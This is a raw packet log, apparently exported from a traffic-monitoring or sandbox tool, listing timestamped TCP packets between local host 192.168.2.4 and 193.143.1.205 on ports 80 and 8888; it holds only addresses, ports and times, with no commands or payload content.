Jan 11, 2025 03:59:12.929704905 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.929716110 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.929748058 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.930027962 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.930039883 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.930049896 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.930074930 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.930165052 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.930210114 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.930253983 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.930264950 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.930277109 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.930294037 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.930299997 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.930308104 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.930319071 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.930330038 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.930331945 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.930341959 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.930352926 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.930363894 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.930371046 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.930403948 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.930922031 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.930933952 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.930943012 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.930967093 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.931155920 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.931171894 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.931184053 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.931194067 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.931196928 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.931205034 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.931216002 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.931221008 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.931226015 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.931243896 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.931252003 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.931255102 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.931266069 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.931267977 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.931282043 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.931292057 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.931303024 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.931303978 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.931322098 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.931334972 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.931349993 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.933285952 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.933331966 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.933336973 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.933343887 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.933382988 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.933478117 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.933494091 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.933505058 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.933516979 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.933543921 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.933569908 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.933598042 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.933744907 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.933756113 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.933765888 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.933779955 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.933789968 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.933803082 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.933834076 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.933969021 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.933979988 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.933990002 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.934000969 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.934010029 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.934012890 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.934025049 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.934052944 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.934082031 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.934268951 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.934279919 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.934289932 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.934312105 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.934370995 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.934411049 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.934422970 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.934448957 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.934488058 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.965404034 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.965423107 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.965492010 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.965492010 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.965536118 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.965545893 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.965570927 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.965631008 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.965641022 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.965650082 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.965684891 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.965737104 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.965748072 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.965759993 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.965770960 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.965783119 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.965795994 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.965837002 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.965950012 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.965961933 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.965996027 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.977698088 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.977720976 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.977757931 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.977798939 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.977809906 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.977885008 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.977920055 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.977931976 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.977942944 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.977953911 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.977974892 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.978012085 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.978140116 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.978151083 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.978163004 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.978173971 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.978182077 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.978215933 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.978384018 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.978394985 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.978404999 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.978416920 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.978421926 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.978429079 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.978456020 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.978630066 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.978641033 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.978657961 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.978668928 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.978679895 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.978687048 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:12.978691101 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:12.978732109 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:13.015456915 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.015491009 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.015510082 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.015522957 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.015537024 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.015542030 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:13.015549898 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.015562057 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.015585899 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:13.015621901 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:13.015659094 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.015669107 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.015714884 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.015717030 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:13.015726089 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.015736103 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.015747070 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.015758038 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.015765905 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:13.015835047 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:13.015997887 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.016010046 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.016020060 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.016041994 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:13.016066074 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:13.016177893 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.016187906 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.016194105 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.016200066 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.016211033 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.016232014 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:13.016257048 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:13.016374111 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.016385078 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.016395092 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.016403913 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.016429901 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:13.016446114 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:13.016616106 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.016628027 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.016659021 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:13.016738892 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.016752958 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.016757965 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.016767025 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.016777992 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.016789913 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.016794920 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:13.016802073 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.016814947 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.016827106 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.016839027 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:13.016839027 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:13.016841888 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.016894102 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:13.017364025 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.017376900 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.017389059 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.017400026 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.017400980 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:13.017412901 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.017422915 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:13.017457008 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:13.017652988 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.017664909 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.017676115 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.017688990 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.017698050 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.017710924 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:13.017715931 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.017729044 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.017734051 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:13.017750025 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:13.017782927 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.017796040 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.017806053 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.017817020 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.017829895 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:13.017852068 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.017853022 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:13.017864943 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.017874956 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.017888069 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.017903090 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:13.017935991 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:13.018740892 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.018754005 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.018763065 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.018774986 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.018784046 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.018795013 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.018806934 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:13.018807888 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.018821001 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.018821955 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:13.018832922 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.018845081 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.018855095 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.018867970 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.018867970 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:13.018878937 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.018882990 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:13.018889904 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.018903017 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:13.018922091 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:13.019640923 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.019651890 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.019661903 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.019673109 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.019684076 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.019691944 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:13.019696951 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.019709110 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.019718885 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.019730091 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.019735098 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:13.019742966 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.019754887 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.019762993 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:13.019766092 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.019778013 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.019788027 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.019792080 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:13.019813061 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:13.020353079 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.020365000 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.020375013 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.020396948 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:13.020426035 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:13.052596092 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.052627087 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.052642107 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.052654982 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.052664042 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:13.052674055 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.052700043 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:13.052722931 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.052736044 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.052767992 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:13.064671993 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.064685106 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.064732075 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:13.064774990 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.064789057 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.064821005 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:13.064867973 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.064881086 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.064892054 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.064903975 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.064918995 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:13.064935923 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:13.065105915 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.065118074 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.065129042 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.065140009 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.065149069 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:13.065166950 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:13.065332890 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.065345049 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.065361023 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.065380096 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:13.065398932 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:13.069597006 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.069611073 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.069622040 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.069659948 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:13.069696903 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.069709063 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.069719076 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.069732904 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.069736004 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:13.069786072 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:13.136563063 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:13.141464949 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.141495943 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.141508102 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.141562939 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:13.141659021 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.141671896 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.141685009 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.141696930 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.141726971 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:13.141833067 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:13.141868114 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.141881943 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.141911983 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:13.142057896 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.142072916 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.142085075 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.142096996 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:13.142097950 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.142112017 CET	80	49735	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:13.142127037 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:13.142149925 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:13.321676970 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:13.423355103 CET	49735	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:14.179719925 CET	49736	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:14.184638977 CET	8888	49736	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:14.184703112 CET	49736	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:14.185544014 CET	49736	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:14.190376043 CET	8888	49736	193.143.1.205	192.168.2.4
